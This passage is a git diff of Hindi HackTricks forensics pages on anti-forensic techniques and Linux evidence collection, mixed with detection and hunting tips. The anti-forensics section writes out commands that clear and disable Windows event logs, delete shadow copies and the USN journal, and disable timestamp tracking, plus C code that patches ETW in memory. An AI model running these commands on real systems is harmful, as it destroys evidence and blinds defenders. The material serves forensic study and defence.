आपको एक **फॉरेंसिक इमेज** दी गई है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और **संभावित रूप से** **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई फ़ाइलों) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे: {{#ref}} partitions-file-systems-carving/ @@ -26,14 +29,17 @@ partitions-file-systems-carving/ उपयोग किए गए OSs और यहां तक कि प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प कलाकृतियों की खोज की जानी चाहिए: + {{#ref}} windows-forensics/ {{#endref}} + {{#ref}} linux-forensics.md {{#endref}} + {{#ref}} docker-forensics.md {{#endref}} @@ -43,24 +49,28 @@ docker-forensics.md यदि आपके पास बहुत **संदिग्ध** **फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** के आधार पर जो इसे बनाया है, कई **तरकीबें** उपयोगी हो सकती हैं।\ कुछ दिलचस्प तरकीबें जानने के लिए निम्नलिखित पृष्ठ पढ़ें: + {{#ref}} specific-software-file-type-tricks/ {{#endref}} मैं पृष्ठ का विशेष उल्लेख करना चाहता हूं: + {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} ## मेमोरी डंप निरीक्षण + {{#ref}} memory-dump-analysis/ {{#endref}} ## Pcap निरीक्षण + {{#ref}} pcap-inspection/ {{#endref}} @@ -69,12 +79,14 @@ pcap-inspection/ एंटी-फॉरेंसिक तकनीकों के संभावित उपयोग को ध्यान में रखें: + {{#ref}} anti-forensic-techniques.md {{#endref}} ## खतरे की खोज + {{#ref}} file-integrity-monitoring.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 69c3a3e6a..3ec2c14e7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,23 +1,23 @@ -# एंटी-फॉरेंसिक तकनीकें +# Anti-Forensic Techniques {{#include ../../banners/hacktricks-training.md}} -## टाइमस्टैम्प +## Timestamps एक हमलावर **फाइलों के टाइमस्टैम्प को बदलने** में रुचि रख सकता है ताकि उसे पकड़ा न जा सके।\ -यह संभव है कि टाइमस्टैम्प को MFT के अंदर `$STANDARD_INFORMATION` \_\_ और \_\_ `$FILE_NAME` में पाया जा सके। +यह संभव है कि MFT के अंदर `$STANDARD_INFORMATION` \_\_ और \_\_ `$FILE_NAME` में टाइमस्टैम्प पाए जाएं। दोनों विशेषताओं में 4 टाइमस्टैम्प होते हैं: **संशोधन**, **पहुँच**, **निर्माण**, और **MFT रजिस्ट्रि संशोधन** (MACE या MACB)। **Windows explorer** और अन्य उपकरण **`$STANDARD_INFORMATION`** से जानकारी दिखाते हैं। -### TimeStomp - एंटी-फॉरेंसिक उपकरण +### TimeStomp - Anti-forensic Tool -यह उपकरण **`$STANDARD_INFORMATION`** के अंदर टाइमस्टैम्प जानकारी को **संशोधित** करता है **लेकिन** **`$FILE_NAME`** के अंदर की जानकारी को **नहीं**। इसलिए, यह **संदिग्ध** **गतिविधि** को **पहचानना** संभव है। +यह उपकरण **`$STANDARD_INFORMATION`** के अंदर टाइमस्टैम्प जानकारी को **संशोधित** करता है **लेकिन** **`$FILE_NAME`** के अंदर की जानकारी को **नहीं**। इसलिए, **संदिग्ध** **गतिविधि** को **पहचानना** संभव है। ### Usnjrnl -**USN जर्नल** (अपडेट अनुक्रम संख्या जर्नल) NTFS (Windows NT फ़ाइल प्रणाली) की एक विशेषता है जो वॉल्यूम परिवर्तनों का ट्रैक रखती है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) उपकरण इन परिवर्तनों की जांच करने की अनुमति देता है। +**USN Journal** (Update Sequence Number Journal) NTFS (Windows NT फाइल सिस्टम) की एक विशेषता है जो वॉल्यूम परिवर्तनों का ट्रैक रखती है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) उपकरण इन परिवर्तनों की जांच करने की अनुमति देता है। ![](<../../images/image (801).png>) @@ -25,7 +25,7 @@ ### $LogFile -**फाइल सिस्टम में सभी मेटाडेटा परिवर्तनों को लॉग किया जाता है** जिसे [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) के रूप में जाना जाता है। लॉग की गई मेटाडेटा एक फ़ाइल में रखी जाती है जिसका नाम `**$LogFile**` है, जो NTFS फ़ाइल प्रणाली के रूट निर्देशिका में स्थित है। [LogFileParser](https://github.com/jschicht/LogFileParser) जैसे उपकरण का उपयोग इस फ़ाइल को पार्स करने और परिवर्तनों की पहचान करने के लिए किया जा सकता है। +**फाइल सिस्टम में सभी मेटाडेटा परिवर्तनों को लॉग किया जाता है** जिसे [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) के रूप में जाना जाता है। लॉग की गई मेटाडेटा एक फ़ाइल में रखी जाती है जिसका नाम `**$LogFile**` है, जो NTFS फाइल सिस्टम के रूट डायरेक्टरी में स्थित है। [LogFileParser](https://github.com/jschicht/LogFileParser) जैसे उपकरण का उपयोग इस फ़ाइल को पार्स करने और परिवर्तनों की पहचान करने के लिए किया जा सकता है। ![](<../../images/image (137).png>) @@ -44,51 +44,51 @@ संदिग्ध संशोधित फ़ाइलों की पहचान करने का एक और तरीका दोनों विशेषताओं पर समय की तुलना करना है और **असंगतियों** की तलाश करना है। -### नैनोसेकंड +### Nanoseconds **NTFS** टाइमस्टैम्प की **सटीकता** **100 नैनोसेकंड** है। इसलिए, 2010-10-10 10:10:**00.000:0000 जैसे टाइमस्टैम्प वाली फ़ाइलें **बहुत संदिग्ध** हैं। -### SetMace - एंटी-फॉरेंसिक उपकरण +### SetMace - Anti-forensic Tool यह उपकरण दोनों विशेषताओं `$STARNDAR_INFORMATION` और `$FILE_NAME` को संशोधित कर सकता है। हालाँकि, Windows Vista से, इस जानकारी को संशोधित करने के लिए एक लाइव OS की आवश्यकता होती है। -## डेटा छिपाना +## Data Hiding -NFTS एक क्लस्टर और न्यूनतम जानकारी के आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक और आधे क्लस्टर का उपयोग करती है, तो **बाकी आधा कभी उपयोग नहीं किया जाएगा** जब तक फ़ाइल को हटा नहीं दिया जाता। फिर, इस स्लैक स्पेस में **डेटा छिपाना** संभव है। +NFTS एक क्लस्टर और न्यूनतम जानकारी के आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक और आधे क्लस्टर का उपयोग करती है, तो **बचा हुआ आधा कभी उपयोग नहीं किया जाएगा** जब तक फ़ाइल को हटा नहीं दिया जाता। फिर, इस स्लैक स्पेस में **डेटा छिपाना** संभव है। -ऐसे उपकरण हैं जैसे स्लैकर जो इस "छिपे हुए" स्थान में डेटा छिपाने की अनुमति देते हैं। हालाँकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था: +ऐसे उपकरण हैं जैसे slacker जो इस "छिपे हुए" स्थान में डेटा छिपाने की अनुमति देते हैं। हालाँकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था: ![](<../../images/image (1060).png>) -फिर, FTK इमेजर जैसे उपकरणों का उपयोग करके स्लैक स्पेस को पुनर्प्राप्त करना संभव है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को ओबफस्केटेड या यहां तक कि एन्क्रिप्टेड रूप में सहेज सकते हैं। +फिर, FTK Imager जैसे उपकरणों का उपयोग करके स्लैक स्पेस को पुनर्प्राप्त करना संभव है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को ओब्स्क्यूरेट या यहां तक कि एन्क्रिप्टेड रूप में सहेज सकते हैं। ## UsbKill यह एक उपकरण है जो **USB** पोर्ट में किसी भी परिवर्तन का पता लगाते ही **कंप्यूटर को बंद** कर देगा।\ इसका पता लगाने का एक तरीका चल रहे प्रक्रियाओं का निरीक्षण करना और **प्रत्येक चल रहे पायथन स्क्रिप्ट की समीक्षा करना** है। -## लाइव लिनक्स वितरण +## Live Linux Distributions -ये डिस्ट्रीब्यूशन **RAM** मेमोरी के अंदर **निष्पादित** होते हैं। इन्हें केवल तभी पता लगाया जा सकता है जब **NTFS फ़ाइल सिस्टम को लिखने की अनुमति के साथ माउंट किया गया हो**। यदि इसे केवल पढ़ने की अनुमति के साथ माउंट किया गया है, तो घुसपैठ का पता लगाना संभव नहीं होगा। +ये डिस्ट्रीब्यूशन **RAM** मेमोरी के अंदर **निष्पादित** होते हैं। इन्हें केवल तभी पता लगाया जा सकता है जब **NTFS फाइल सिस्टम को लिखने की अनुमति के साथ माउंट किया गया हो**। यदि इसे केवल पढ़ने की अनुमति के साथ माउंट किया गया है, तो घुसपैठ का पता लगाना संभव नहीं होगा। -## सुरक्षित विलोपन +## Secure Deletion [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows कॉन्फ़िगरेशन +## Windows Configuration -फॉरेंसिक जांच को बहुत कठिन बनाने के लिए कई Windows लॉगिंग विधियों को अक्षम करना संभव है। +कई विंडोज लॉगिंग विधियों को अक्षम करना संभव है ताकि फॉरेंसिक जांच को बहुत कठिन बनाया जा सके। -### टाइमस्टैम्प अक्षम करें - UserAssist +### Disable Timestamps - UserAssist यह एक रजिस्ट्री कुंजी है जो उपयोगकर्ता द्वारा चलाए गए प्रत्येक निष्पादन योग्य की तारीखों और घंटों को बनाए रखती है। UserAssist को अक्षम करने के लिए दो चरणों की आवश्यकता होती है: -1. दो रजिस्ट्री कुंजियाँ सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, दोनों को शून्य पर सेट करें ताकि संकेत मिले कि हम UserAssist को अक्षम करना चाहते हैं। -2. अपने रजिस्ट्री उप-ट्री को साफ़ करें जो `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` की तरह दिखते हैं। +1. दो रजिस्ट्री कुंजी सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, दोनों को शून्य पर सेट करें ताकि संकेत मिले कि हम UserAssist को अक्षम करना चाहते हैं। +2. अपने रजिस्ट्री उप-ट्री को साफ करें जो `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` की तरह दिखते हैं। -### टाइमस्टैम्प अक्षम करें - Prefetch +### Disable Timestamps - Prefetch यह उन अनुप्रयोगों के बारे में जानकारी सहेजता है जो Windows सिस्टम के प्रदर्शन में सुधार के लक्ष्य के साथ निष्पादित होते हैं। हालाँकि, यह फॉरेंसिक प्रथाओं के लिए भी उपयोगी हो सकता है। @@ -98,61 +98,61 @@ UserAssist को अक्षम करने के लिए दो चरण - प्रत्येक पर संशोधित करें ताकि मान 1 (या 3) से 0 में बदल जाए - पुनरारंभ करें -### टाइमस्टैम्प अक्षम करें - अंतिम पहुँच समय +### Disable Timestamps - Last Access Time जब भी एक फ़ोल्डर NTFS वॉल्यूम से Windows NT सर्वर पर खोला जाता है, तो सिस्टम प्रत्येक सूचीबद्ध फ़ोल्डर पर **एक टाइमस्टैम्प फ़ील्ड को अपडेट करने के लिए समय लेता है**, जिसे अंतिम पहुँच समय कहा जाता है। एक भारी उपयोग किए गए NTFS वॉल्यूम पर, यह प्रदर्शन को प्रभावित कर सकता है। 1. रजिस्ट्री संपादक (Regedit.exe) खोलें। -2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` पर जाएँ। +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` पर जाएं। 3. `NtfsDisableLastAccessUpdate` की तलाश करें। यदि यह मौजूद नहीं है, तो इस DWORD को जोड़ें और इसका मान 1 पर सेट करें, जो प्रक्रिया को अक्षम कर देगा। 4. रजिस्ट्री संपादक बंद करें, और सर्वर को पुनरारंभ करें। -### USB इतिहास हटाएँ +### Delete USB History -सभी **USB डिवाइस प्रविष्टियाँ** Windows रजिस्ट्री में **USBSTOR** रजिस्ट्री कुंजी के तहत संग्रहीत होती हैं जिसमें उप कुंजियाँ होती हैं जो तब बनाई जाती हैं जब आप अपने पीसी या लैपटॉप में USB डिवाइस लगाते हैं। आप इस कुंजी को यहाँ पा सकते हैं `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`। **इसे हटाने से** आप USB इतिहास हटा देंगे।\ +सभी **USB डिवाइस प्रविष्टियाँ** Windows रजिस्ट्री में **USBSTOR** रजिस्ट्री कुंजी के तहत संग्रहीत होती हैं जिसमें उप कुंजियाँ होती हैं जो तब बनाई जाती हैं जब आप अपने पीसी या लैपटॉप में USB डिवाइस लगाते हैं। आप इस कुंजी को यहाँ पा सकते हैं `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`। **इसे हटाने से** आप USB इतिहास को हटा देंगे।\ आप यह सुनिश्चित करने के लिए [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) उपकरण का भी उपयोग कर सकते हैं कि आपने उन्हें हटा दिया है (और उन्हें हटाने के लिए)। -एक और फ़ाइल जो USB के बारे में जानकारी सहेजती है वह है फ़ाइल `setupapi.dev.log` जो `C:\Windows\INF` के अंदर है। इसे भी हटाया जाना चाहिए। +एक और फ़ाइल जो USB के बारे में जानकारी सहेजती है वह फ़ाइल `setupapi.dev.log` है जो `C:\Windows\INF` के अंदर है। इसे भी हटाया जाना चाहिए। -### शैडो कॉपीज़ अक्षम करें +### Disable Shadow Copies -**शैडो कॉपीज़** की सूची बनाएं `vssadmin list shadowstorage`\ -**इन्हें हटाएँ** `vssadmin delete shadow` चलाकर +**सूची** शैडो कॉपियों के साथ `vssadmin list shadowstorage`\ +**हटाएं** उन्हें चलाकर `vssadmin delete shadow` -आप GUI के माध्यम से भी इन्हें हटा सकते हैं [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) में प्रस्तावित चरणों का पालन करके। +आप GUI के माध्यम से भी उन्हें हटा सकते हैं [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) में प्रस्तावित चरणों का पालन करके। -शैडो कॉपीज़ को अक्षम करने के लिए [यहाँ से चरण](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +शैडो कॉपियों को अक्षम करने के लिए [यहाँ से चरण](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): 1. Windows स्टार्ट बटन पर क्लिक करने के बाद टेक्स्ट सर्च बॉक्स में "services" टाइप करके सेवाएँ प्रोग्राम खोलें। -2. सूची में "Volume Shadow Copy" खोजें, इसे चुनें, और फिर राइट-क्लिक करके प्रॉपर्टीज़ पर जाएँ। +2. सूची में "Volume Shadow Copy" खोजें, इसे चुनें, और फिर राइट-क्लिक करके प्रॉपर्टीज़ पर जाएं। 3. "Startup type" ड्रॉप-डाउन मेनू से Disabled चुनें, और फिर Apply और OK पर क्लिक करके परिवर्तन की पुष्टि करें। -यह भी संभव है कि रजिस्ट्री में यह निर्धारित किया जाए कि कौन सी फ़ाइलें शैडो कॉपी में कॉपी की जाएँगी `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +यह भी संभव है कि रजिस्ट्री `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` में शैडो कॉपी में कॉपी किए जाने वाले फ़ाइलों की कॉन्फ़िगरेशन को संशोधित किया जाए। -### हटाई गई फ़ाइलों को ओवरराइट करें +### Overwrite deleted files - आप एक **Windows उपकरण** का उपयोग कर सकते हैं: `cipher /w:C` यह सिफारिश करेगा कि सिफर C ड्राइव के अंदर उपलब्ध अप्रयुक्त डिस्क स्थान से किसी भी डेटा को हटा दे। - आप [**Eraser**](https://eraser.heidi.ie) जैसे उपकरणों का भी उपयोग कर सकते हैं। -### Windows इवेंट लॉग हटाएँ +### Delete Windows event logs - Windows + R --> eventvwr.msc --> "Windows Logs" का विस्तार करें --> प्रत्येक श्रेणी पर राइट-क्लिक करें और "Clear Log" चुनें - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Windows इवेंट लॉग अक्षम करें +### Disable Windows event logs - `reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f` - सेवाओं के अनुभाग के अंदर "Windows Event Log" सेवा को अक्षम करें - `WEvtUtil.exec clear-log` या `WEvtUtil.exe cl` -### $UsnJrnl अक्षम करें +### Disable $UsnJrnl - `fsutil usn deletejournal /d c:` --- -## उन्नत लॉगिंग और ट्रेस छेड़छाड़ (2023-2025) +## Advanced Logging & Trace Tampering (2023-2025) ### PowerShell ScriptBlock/Module Logging @@ -174,7 +174,7 @@ Remove-WinEvent # requires admin & Win11 23H2+ ### ETW (Windows के लिए इवेंट ट्रेसिंग) पैच -एंडपॉइंट सुरक्षा उत्पाद ETW पर बहुत निर्भर करते हैं। 2024 का एक लोकप्रिय बचाव विधि है कि मेमोरी में `ntdll!EtwEventWrite`/`EtwEventWriteFull` को पैच करना ताकि हर ETW कॉल `STATUS_SUCCESS` लौटाए बिना घटना को उत्पन्न किए। +एंडपॉइंट सुरक्षा उत्पाद ETW पर बहुत निर्भर करते हैं। एक लोकप्रिय 2024 बचाव विधि है कि मेमोरी में `ntdll!EtwEventWrite`/`EtwEventWriteFull` को पैच किया जाए ताकि हर ETW कॉल `STATUS_SUCCESS` लौटाए बिना घटना को उत्पन्न किए। ```c // 0xC3 = RET on x64 unsigned char patch[1] = { 0xC3 }; @@ -182,7 +182,8 @@ WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"), patch, sizeof(patch), NULL); ``` -Public PoCs (e.g. `EtwTiSwallow`) PowerShell या C++ में वही प्राइमिटिव लागू करते हैं। चूंकि पैच **प्रोसेस-लोकल** है, अन्य प्रोसेस के अंदर चल रहे EDRs इसे मिस कर सकते हैं। पहचान: मेमोरी में `ntdll` की तुलना करें बनाम डिस्क पर, या यूजर-मोड से पहले हुक करें। +Public PoCs (e.g. `EtwTiSwallow`) PowerShell या C++ में वही प्राइमिटिव लागू करते हैं। चूंकि पैच **प्रोसेस-लोकल** है, अन्य प्रोसेस के अंदर चल रहे EDRs इसे मिस कर सकते हैं। +Detection: `ntdll` को मेमोरी में और डिस्क पर तुलना करें, या यूजर-मोड से पहले हुक करें। ### Alternate Data Streams (ADS) Revival @@ -236,27 +237,27 @@ systemctl restart activemq || service activemq restart ``` Forensic/hunting tips - अस्थायी बाइनरी/JAR प्रतिस्थापन के लिए सेवा निर्देशिकाओं की समीक्षा करें: -- Debian/Ubuntu: `dpkg -V activemq` और फ़ाइल हैश/पथों की तुलना करें repo mirrors के साथ। +- Debian/Ubuntu: `dpkg -V activemq` और फ़ाइल हैश/पथों की तुलना करें रिपॉ मिरर्स के साथ। - RHEL/CentOS: `rpm -Va 'activemq*'` - उन JAR संस्करणों की तलाश करें जो डिस्क पर हैं और पैकेज प्रबंधक के स्वामित्व में नहीं हैं, या प्रतीकात्मक लिंक जो बैंड से बाहर अपडेट किए गए हैं। -- टाइमलाइन: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` ctime/mtime को समझौता विंडो के साथ सहसंबंधित करने के लिए। -- शेल इतिहास/प्रक्रिया टेलीमेट्री: प्रारंभिक शोषण के तुरंत बाद `curl`/`wget` के `repo1.maven.org` या अन्य आर्टिफैक्ट CDN के सबूत। +- टाइमलाइन: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` से ctime/mtime को समझौता विंडो के साथ सहसंबंधित करें। +- शेल इतिहास/प्रक्रिया टेलीमेट्री: प्रारंभिक शोषण के तुरंत बाद `curl`/`wget` के `repo1.maven.org` या अन्य कलाकृति CDN के सबूत। - परिवर्तन प्रबंधन: यह मान्य करें कि "पैच" किसने लागू किया और क्यों, केवल यह नहीं कि एक पैच किया गया संस्करण मौजूद है। ### Cloud‑service C2 with bearer tokens and anti‑analysis stagers -देखे गए व्यापार कौशल ने कई दीर्घकालिक C2 पथों और एंटी-विश्लेषण पैकेजिंग को संयोजित किया: -- पासवर्ड-संरक्षित PyInstaller ELF लोडर्स जो सैंडबॉक्सिंग और स्थैतिक विश्लेषण को बाधित करते हैं (जैसे, एन्क्रिप्टेड PYZ, अस्थायी निष्कर्षण `/_MEI*` के तहत)। +देखे गए व्यापार कौशल ने कई दीर्घकालिक C2 पथों और एंटी-विश्लेषण पैकेजिंग को जोड़ा: +- पासवर्ड-संरक्षित PyInstaller ELF लोडर जो सैंडबॉक्सिंग और स्थैतिक विश्लेषण को बाधित करते हैं (जैसे, एन्क्रिप्टेड PYZ, अस्थायी निष्कर्षण `/_MEI*` के तहत)। - संकेतक: `strings` हिट जैसे `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`। -- रनटाइम आर्टिफैक्ट: `/tmp/_MEI*` या कस्टम `--runtime-tmpdir` पथों पर निष्कर्षण। -- हार्डकोडेड OAuth Bearer टोकन का उपयोग करके Dropbox-समर्थित C2 +- रनटाइम कलाकृतियाँ: `/tmp/_MEI*` या कस्टम `--runtime-tmpdir` पथों पर निष्कर्षण। +- हार्डकोडेड OAuth बियरर टोकन का उपयोग करके Dropbox-समर्थित C2 - नेटवर्क मार्कर: `api.dropboxapi.com` / `content.dropboxapi.com` के साथ `Authorization: Bearer `। -- सर्वर कार्यभार से Dropbox डोमेन के लिए आउटबाउंड HTTPS के लिए प्रॉक्सी/NetFlow/Zeek/Suricata में शिकार करें जो सामान्यतः फ़ाइलें समन्वयित नहीं करते हैं। -- एक चैनल अवरुद्ध होने पर नियंत्रण बनाए रखते हुए टनलिंग (जैसे, Cloudflare Tunnel `cloudflared`) के माध्यम से समानांतर/बैकअप C2। +- सर्वर कार्यभार से Dropbox डोमेन के लिए आउटबाउंड HTTPS के लिए प्रॉक्सी/नेटफ्लो/ज़ीक/सुरिकाटा में शिकार करें जो सामान्यतः फ़ाइलें समन्वयित नहीं करते हैं। +- टनलिंग के माध्यम से समानांतर/बैकअप C2 (जैसे, Cloudflare Tunnel `cloudflared`), यदि एक चैनल अवरुद्ध हो जाए तो नियंत्रण बनाए रखना। - होस्ट IOCs: `cloudflared` प्रक्रियाएँ/इकाइयाँ, `~/.cloudflared/*.json` पर कॉन्फ़िगरेशन, Cloudflare किनारों के लिए आउटबाउंड 443। ### Persistence and “hardening rollback” to maintain access (Linux examples) हमलावर अक्सर आत्म-पैचिंग को टिकाऊ पहुंच पथों के साथ जोड़ते हैं: -- Cron/Anacron: प्रत्येक `/etc/cron.*/` निर्देशिका में `0anacron` स्टब में संपादन के लिए आवधिक निष्पादन। +- क्रोन/एनाक्रोन: प्रत्येक `/etc/cron.*/` निर्देशिका में `0anacron` स्टब में संपादन के लिए आवधिक निष्पादन। - शिकार: ```bash for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done @@ -272,14 +273,14 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config ```bash awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd ``` -- डिस्क पर गिराए गए यादृच्छिक, छोटे नाम वाले बीकन आर्टिफैक्ट (8 वर्णमाला वर्ण) जो क्लाउड C2 से भी संपर्क करते हैं: +- डिस्क पर गिराए गए यादृच्छिक, छोटे नाम वाले बीकन कलाकृतियाँ (8 वर्णमाला वर्ण) जो क्लाउड C2 से भी संपर्क करती हैं: - शिकार: ```bash find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \ -exec stat -c '%n %s %y' {} \; 2>/dev/null | sort ``` -रक्षा करने वालों को इन आर्टिफैक्ट्स को बाहरी एक्सपोजर और सेवा पैचिंग घटनाओं के साथ सहसंबंधित करना चाहिए ताकि प्रारंभिक शोषण को छिपाने के लिए उपयोग की जाने वाली एंटी-फॉरेंसिक आत्म-उपचार को उजागर किया जा सके। +रक्षा करने वालों को इन कलाकृतियों को बाहरी एक्सपोजर और सेवा पैचिंग घटनाओं के साथ सहसंबंधित करना चाहिए ताकि प्रारंभिक शोषण को छिपाने के लिए उपयोग की जाने वाली एंटी-फॉरेंसिक आत्म-उपचार को उजागर किया जा सके। ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index c2d409876..74e16fb51 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -40,10 +40,10 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ### मेमोरी डंप चल रहे सिस्टम की मेमोरी प्राप्त करने के लिए, [**LiME**](https://github.com/504ensicsLabs/LiME) का उपयोग करने की सिफारिश की जाती है।\ -इसे **संकलित** करने के लिए, आपको **उसी कर्नेल** का उपयोग करना होगा जो पीड़ित मशीन उपयोग कर रही है। +इसे **संकलित** करने के लिए, आपको उस **समान कर्नेल** का उपयोग करना होगा जो पीड़ित मशीन उपयोग कर रही है। > [!TIP] -> याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़** स्थापित नहीं कर सकते क्योंकि इससे कई परिवर्तन होंगे +> याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़ स्थापित नहीं कर सकते** क्योंकि इससे कई परिवर्तन होंगे तो, यदि आपके पास Ubuntu का एक समान संस्करण है तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं।\ अन्य मामलों में, आपको github से [**LiME**](https://github.com/504ensicsLabs/LiME) डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **डायरेक्टरी** `/lib/modules/` को अपनी मशीन पर **कॉपी** कर सकते हैं, और फिर उन्हें उपयोग करके LiME को **संकलित** कर सकते हैं: @@ -54,17 +54,17 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" LiME 3 **फॉर्मेट** का समर्थन करता है: - Raw (हर खंड को एक साथ जोड़ा गया) -- Padded (raw के समान, लेकिन दाहिने बिट्स में शून्य के साथ) +- Padded (raw के समान, लेकिन दाहिने बिट्स में जीरो के साथ) - Lime (मेटाडेटा के साथ अनुशंसित फॉर्मेट) -LiME का उपयोग **नेटवर्क के माध्यम से डंप भेजने** के लिए भी किया जा सकता है, इसे सिस्टम पर संग्रहीत करने के बजाय, जैसे: `path=tcp:4444` +LiME का उपयोग **नेटवर्क के माध्यम से डंप भेजने** के लिए भी किया जा सकता है, इसे सिस्टम पर स्टोर करने के बजाय कुछ इस तरह: `path=tcp:4444` ### डिस्क इमेजिंग #### सिस्टम को बंद करना सबसे पहले, आपको **सिस्टम को बंद करना** होगा। यह हमेशा एक विकल्प नहीं होता क्योंकि कभी-कभी सिस्टम एक प्रोडक्शन सर्वर होता है जिसे कंपनी बंद नहीं कर सकती।\ -सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य शटडाउन** और एक **"प्लग को खींचना" शटडाउन**। पहला तरीका **प्रक्रियाओं को सामान्य रूप से समाप्त** करने की अनुमति देगा और **फाइल सिस्टम** को **सिंक्रनाइज़** करेगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की अनुमति भी देगा। "प्लग को खींचने" का दृष्टिकोण **कुछ जानकारी के नुकसान** को ले जा सकता है (ज्यादातर जानकारी खोने वाली नहीं है क्योंकि हमने पहले ही मेमोरी की एक इमेज ले ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** चलाएँ और प्लग को खींचें। +सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य शटडाउन** और एक **"प्लग को खींचना" शटडाउन**। पहला तरीका **प्रक्रियाओं को सामान्य रूप से समाप्त** होने की अनुमति देगा और **फाइल सिस्टम** को **सिंक्रनाइज़** करेगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की अनुमति भी देगा। "प्लग को खींचने" का तरीका **कुछ जानकारी के नुकसान** का कारण बन सकता है (जितनी जानकारी खोई जाएगी, उतनी नहीं होगी क्योंकि हमने पहले ही मेमोरी की एक इमेज ले ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** चलाएँ और 